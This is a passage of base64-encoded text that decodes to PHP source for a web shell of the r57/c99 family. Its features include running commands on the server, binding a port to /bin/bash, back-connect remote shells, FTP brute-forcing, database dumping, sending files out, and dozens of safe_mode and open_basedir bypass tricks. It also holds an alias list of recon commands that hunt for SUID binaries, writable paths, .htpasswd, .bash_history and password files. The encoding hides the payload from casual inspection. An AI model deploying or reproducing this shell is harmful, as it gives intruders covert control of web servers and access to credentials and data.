XNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ21lbSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+TUVNT1JZPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJG1lbWYgPSBAZmlsZSgibWVtaW5mbyIpOw0KICAgaWYoJG1lbWYpDQogICAgew0KICAgICAgJGMgPSBzaXplb2YoJG1lbWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gZXhwbG9kZSgiOiIsJG1lbWZbJGldKTsNCiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS0tIjsgfQ0KICAgICAgICAgICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7DQogICAgfQ0KICAgZWNobyAnPC90YWJsZT4nOw0KICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCiAgIGRpZSgpOw0KIH0NCiRsYW5nPWFycmF5KA0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywNCidlbmdfdGV4dDInID0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MycgPT4nUnVuIGNvbW1hbmQnLA0KJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLA0KJ2VuZ190ZXh0NScgPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQonZW5nX3RleHQ2JyA9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLA0KJ2VuZ190ZXh0OCcgPT4nU2VsZWN0IGFsaWFzJywNCidlbmdfYnV0dDEnID0+J0V4ZWN1dGUnLA0KJ2VuZ19idXR0MicgPT4nVXBsb2FkJywNCidlbmdfdGV4dDknID0+J0JpbmQgcG9ydCB0byAvYmluL2Jhc2gnLA0KJ2VuZ190ZXh0MTAnPT4nUG9ydCcsDQonZW5nX3RleHQxMSc9PidQYXNzd29yZCBmb3IgYWNjZXNzJywNCidlbmdfYnV0dDMnID0+J0JpbmQnLA0KJ2VuZ190ZXh0MTInPT4nYmFjay1jb25uZWN0JywNCidlbmdfdGV4dDEzJz0+J0lQJywNCidlbmdfdGV4dDE0Jz0+J1BvcnQnLA0KJ2VuZ19idXR0NCcgPT4nQ29ubmVjdCcsDQonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywNCidlbmdfdGV4dDE2Jz0+J1dpdGgnLA0KJ2VuZ190ZXh0MTcnPT4nUmVtb3RlIGZpbGUnLA0KJ2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsDQonZW5nX3RleHQxOSc9PidFeHBsb2l0cycsDQonZW5nX3RleHQyMCc9PidVc2UnLA0KJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLA0KJ2VuZ190ZXh0MjInPT4nZGF0YXBpcGUnLA0KJ2VuZ190ZXh0MjMnPT4nTG9jYWwgcG9ydCcsDQonZW5nX3RleHQyNCc9PidSZW1vdGUgaG9zdCcsDQonZW5nX3RleHQyNSc9PidSZW1vdGUgcG9ydCcsDQonZW5nX3RleHQyNic9PidVc2UnLA0KJ2VuZ19idXR0NScgPT4nUnVuJywNCidlbmdfdGV4dDI4Jz0+J1dvcmsgaW4gc2FmZV9tb2RlJywNCidlbmdfdGV4dDI5Jz0+J0FDQ0VTUyBERU5JRUQnLA0KJ2VuZ19idXR0NicgPT4nQ2hhbmdlJywNCidlbmdfdGV4dDMwJz0+J0NhdCBmaWxlJywNCidlbmdfYnV0dDcnID0+J1Nob3cnLA0KJ2VuZ190ZXh0MzEnPT4nRmlsZSBub3QgZm91bmQnLA0KJ2VuZ190ZXh0MzInPT4nRXZhbCBQSFAgY29kZScsDQonZW5nX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucycsDQonZW5nX2J1dHQ4JyA9PidUZXN0JywNCidlbmdfdGV4dDM0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGluY2x1ZGUgZnVuY3Rpb24nLA0KJ2VuZ190ZXh0MzUnPT4nVGVzdCBieXBhc3Mgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwgLSBlZGl0ZWQgYnkgQWx1Y2FyJywNCidlbmdfdGV4dDM2Jz0+J0RiIC4gVGFibGUnLA0KJ2VuZ190ZXh0MzcnPT4nTG9naW4nLA0KJ2VuZ190ZXh0MzgnPT4nUGFzc3dvcmQnLA0KJ2VuZ190ZXh0MzknPT4nRGF0YWJhc2UnLA0KJ2VuZ190ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScsDQonZW5nX2J1dHQ5JyA9PidEdW1wJywNCidlbmdfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywNCidlbmdfdGV4dDQyJz0+J0VkaXQgZmlsZXMnLA0KJ2VuZ190ZXh0NDMnPT4nRmlsZSBmb3IgZWRpdCcsDQonZW5nX2J1dHQxMCc9PidTYXZlJywNCidlbmdfdGV4dDQ0Jz0+J0NhblwndCBlZGl0IGZpbGUhIE9ubHkgcmVhZCBhY2Nlc3MhJywNCidlbmdfdGV4dDQ1Jz0+J0ZpbGUgc2F2ZWQnLA0KJ2VuZ190ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLA0KJ2VuZ190ZXh0NDcnPT4nU2hvdyB2YXJpYWJsZXMgZnJvbSBwaHAuaW5pJywNCidlbmdfdGV4dDQ4Jz0+J0RlbGV0ZSB0ZW1wIGZpbGVzJywNCidlbmdfYnV0dDExJz0+J0VkaXQgZmlsZScsDQonZW5nX3RleHQ0OSc9PidEZWxldGUgc2NyaXB0IGZyb20gc2VydmVyJywNCidlbmdfdGV4dDUwJz0+J1ZpZXcgY3B1IGluZm8nLA0KJ2VuZ190ZXh0NTEnPT4nVmlldyBtZW1vcnkgaW5mbycsDQonZW5nX3RleHQ1Mic9PidGaW5kIHRleHQnLA0KJ2VuZ190ZXh0NTMnPT4nSW4gZGlycycsDQonZW5nX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLA0KJ2VuZ19idXR0MTInPT4nRmluZCcsDQonZW5nX3RleHQ1NSc9PidPbmx5IGluIGZpbGVzJywNCidlbmdfdGV4dDU2Jz0+J05vdGhpbmcgOignLA0KJ2VuZ190ZXh0NTcnPT4nQ3JlYXRlL0RlbGV0ZSBGaWxlL0RpcicsDQonZW5nX3RleHQ1OCc9PiduYW1lJywNCidlbmdfdGV4dDU5Jz0+J2ZpbGUnLA0KJ2VuZ190ZXh0NjAnPT4nZGlyJywNCidlbmdfYnV0dDEzJz0+J0NyZWF0ZS9EZWxldGUnLA0KJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywNCidlbmdfdGV4dDYyJz0+J0RpciBjcmVhdGVkJywNCidlbmdfdGV4dDYzJz0+J0ZpbGUgZGVsZXRlZCcsDQonZW5nX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsDQonZW5nX3RleHQ2NSc9PidDcmVhdGUnLA0KJ2VuZ190ZXh0NjYnPT4nRGVsZXRlJywNCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidlbmdfdGV4dDY4Jz0+J0NvbW1hbmQnLA0KJ2VuZ190ZXh0NjknPT4ncGFyYW0xJywNCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsDQonZW5nX3RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li4uIiwNCidlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLA0KJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLA0KJ2VuZ190ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsDQonZW5nX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsDQonZW5nX3RleHQ4MCc9PidUeXBlJywNCidlbmdfdGV4dDgxJz0+J05ldCcsDQonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLA0KJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsDQonZW5nX3RleHQ4NCc9PidTUUwgcXVlcnknLA0KJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCidlbmdfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywNCidlbmdfYnV0dDE0Jz0+J0Rvd25sb2FkJywNCidlbmdfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ2VuZ190ZXh0ODgnPT4nRlRQLXNlcnZlcjpwb3J0JywNCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCidlbmdfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLA0KJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLA0KJ2VuZ190ZXh0OTInPT4nd2l0aG91dCBhcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Myc9PidGVFAnLA0KJ2VuZ190ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLA0KJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLA0KJ2VuZ190ZXh0OTcnPT4nY2hlY2tlZDogJywNCidlbmdfdGV4dDk4Jz0+J3N1Y2Nlc3M6ICcsDQonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc3dkIGZvciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTAxJz0+J1VzZSByZXZlcnNlICh1c2VyIC0+IHJlc3UpIGxvZ2luIGZvciBwYXNzd29yZCcsDQonZW5nX3RleHQxMDInPT4nTWFpbCcsDQonZW5nX3RleHQxMDMnPT4nU2VuZCBlbWFpbCcsDQonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywNCidlbmdfdGV4dDEwNSc9PidUbycsDQonZW5nX3RleHQxMDYnPT4nRnJvbScsDQonZW5nX3RleHQxMDcnPT4nU3ViaicsDQonZW5nX2J1dHQxNSc9PidTZW5kJywNCidlbmdfdGV4dDEwOCc9PidNYWlsJywNCidlbmdfdGV4dDEwOSc9PidIaWRlJywNCidlbmdfdGV4dDExMCc9PidTaG93JywNCidlbmdfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG9ydCcsDQonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsJywNCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxpc3QgdmlhIGltYXBfbGlzdCcsDQonZW5nX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywNCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29tcHJlc3MuemxpYjovLyBpbiBmdW5jdGlvbiBjb3B5KCknLA0KJ2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQonZW5nX3RleHQxMTcnPT4ndG8nLA0KJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywNCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQonZW5nX3RleHQxMjAnPT4nU1FMLVNlcnZlcicsDQonZW5nX2VycjAnPT4nRXJyb3IhIENhblwndCB3cml0ZSBpbiBmaWxlICcsDQonZW5nX2VycjEnPT4nRXJyb3IhIENhblwndCByZWFkIGZpbGUgJywNCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLA0KJ2VuZ19lcnIzJz0+J0Vycm9yISBDYW5cJ3QgY29ubmVjdCB0byBmdHAnLA0KJ2VuZ19lcnI0Jz0+J0Vycm9yISBDYW5cJ3QgbG9naW4gb24gZnRwIHNlcnZlcicsDQonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsDQonZW5nX2VycjYnPT4nRXJyb3IhIENhblwndCBzZW50IG1haWwnLA0KJ2VuZ19lcnI3Jz0+J01haWwgc2VuZCcsDQonZW5nX3RleHQyMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGNvcHkoKScsDQonZW5nX3RleHQyMDInPT4nd2hlcmUgZmlsZSBpbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MzAwJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBjdXJsKCknLA0KJ2VuZ190ZXh0MjAzJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBpbmlfcmVzdG9yZSgpJywNCidlbmdfdGV4dDIwNCc9Pid3cml0ZSBzaGVsbCBmcm9tIHZ1bCBlcnJvcl9sb2coKScsDQonZW5nX3RleHQyMDUnPT4nd3JpdGUgc2hlbGwgaW4gdGhpcyBzaWRlJywNCidlbmdfdGV4dDIwNic9PidyZWFkIGRpcicsDQonZW5nX3RleHQyMDcnPT4ncmVhZCBkaXIgZnJvbSB2dWwgcmVnX2dsb2InLA0KJ2VuZ190ZXh0MjA4Jz0+J2V4ZWN1dGUgd2l0aCBmdW5jdGlvbicsDQonZW5nX3RleHQyMDknPT4ncmVhZCBkaXIgZnJvbSB2dWwgcm9vdCcsDQonZW5nX3RleHQyMTAnPT4nRGVaZW5kZXIgJywNCidlbmdfdGV4dDIxMSc9Pic6OnNhZmVfbW9kZSBvZmY6OicsDQonZW5nX3RleHQyMTInPT4nQ2xvc2Ugc2FmZV9tb2RlIHdpdGggcGhwLmluaScsDQonZW5nX3RleHQyMTMnPT4nQ2xvc2Ugc2VjdXJpdHlfbW9kIHdpdGggLmh0YWNjZXNzJywNCidlbmdfdGV4dDIxNCc9PidBZG1pbiBuYW1lJywNCidlbmdfdGV4dDIxNSc9PidJUkMgc2VydmVyICcsDQonZW5nX3RleHQyMTYnPT4nI3Jvb20gbmFtZScsDQonZW5nX3RleHQyMTcnPT4nc2VydmVyJywNCidlbmdfdGV4dDIxOCc9Pid3cml0ZSBpbmkucGhwIGZpbGUgdG8gY2xvc2Ugc2FmZV9tb2RlIHdpdGggaW5pX3Jlc3RvcmUgdnVsJywNCidlbmdfdGV4dDIxOSc9PidHZXQgZmlsZSB0byBzZXJ2ZXIgaW4gc2FmZV9tb2RlIGFuZCBjaGFuZ2UgbmFtZScsDQonZW5nX3RleHQyMjAnPT4nc2hvdyBmaWxlIHdpdGggc3ltbGluayB2dWwnLA0KJ2VuZ190ZXh0MjIxJz0+J3ppcCBmaWxlIGluIHNlcnZlciB0byBkb3dubG9hZCcsDQonZW5nX3RleHQyMjInPT4nMiBzeW1saW5rIHVzZSB2dWwnLA0KJ2VuZ190ZXh0MjIzJz0+J3JlYWQgZmlsZSBmcm9tIGZ1bmN1dGlvbicsDQonZW5nX3RleHQyMjQnPT4ncmVhZCBmaWxlIGZyb20gUExVR0lOJywNCidlbmdfdGV4dDIyNScgPT4gJ2h0YWNjZXNzIHNhZmVtb2RlIGFuZCBvcGVuX2Jhc2VkaXIgYnlwYXNzJywNCidlbmdfdGV4dDIyNicgPT4gJ1dyaXRlIHRvIGZpbGUnLA0KJ2VuZ190ZXh0MjI3JyA9PiAnQ29udGVudCcsDQonZW5nX3RleHQyMjgnID0+ICdTU0kgc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMjknID0+ICdDT00gZnVuY3Rpb25zIHNhZmVfbW9kZSBhbmQgZGlzYWJsZV9mdW5jdGlvbiBieXBhc3MnLA0KJ2VuZ190ZXh0MjMwJyA9PiAnaW9uQ3ViZSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzEnID0+ICd3aW4zMnN0ZCBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzInID0+ICd3aW4zMnNlcnZpY2UgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMzJyA9PiAncGVybCBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzQnID0+ICdGRkkgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ19idXR0NjUnPT4nV3JpdGUnLA0KKTsNCiRhbGlhc2VzPWFycmF5KA0KJ2ZpbmQgc3VpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywNCidmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzZ2lkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMnPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMnPT4nZmluZCAvIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLA0KJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsDQonZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgYWxsIC5teXNxbF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0KJ2xpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtJz0+J2xzYXR0ciAtdmEnLA0KJ3Nob3cgb3BlbmVkIHBvcnRzJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4nLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0KKTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrDQo+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBjbGFzcz10dCBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluPiI7DQokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsNCiRhcnJvdyA9ICIgPGZvbnQgZmFjZT1XZWJkaW5ncyBjb2xvcj1XaGl0ZT40PC9mb250PiI7DQokbGIgPSAiPGZvbnQgY29sb3I9V2hpdGU+WzwvZm9udD4iOw0KJHJiID0gIjxmb250IGNvbG9yPVdoaXRlPl08L2ZvbnQ+IjsNCiRmb250ID0gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7DQokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRlID0gIjwvdGFibGU+IjsNCiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0NCiBlbHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsnZGlyJ10pKSB7IEBjaGRpcigkX1BPU1RbJ2RpciddKTsgfQ0KJGRpciA9IEBnZXRjd2QoKTsNCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZGlyKT4xICYmICRkaXJbMV09PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRpcikpDQogew0KICRvcyA9IGdldGVudignT1MnKTsNCiBpZihlbXB0eSgkb3MpKXsgJG9zID0gcGhwX3VuYW1lKCk7IH0NCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0NCiBlbHNlDQogICAgew0KICAgIGlmKEBlcmVnaSgiXndpbiIsJG9zKSkgeyAkdW5peCA9IDA7IH0NCiAgICBlbHNlIHsgJHVuaXggPSAxOyB9DQogICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ3NfZGlyJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NfdGV4dCddKSAmJiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAic2VhcmNoX3RleHQiKQ0KICB7DQogICAgZWNobyAkaGVhZDsNCiAgICBpZighZW1wdHkoJF9QT1NUWydzX21hc2snXSkgJiYgIWVtcHR5KCRfUE9TVFsnbSddKSkgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddLCRfUE9TVFsnc19tYXNrJ10pOyB9DQogICAgZWxzZSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9DQogICAgJHNyLT5TZWFyY2hUZXh0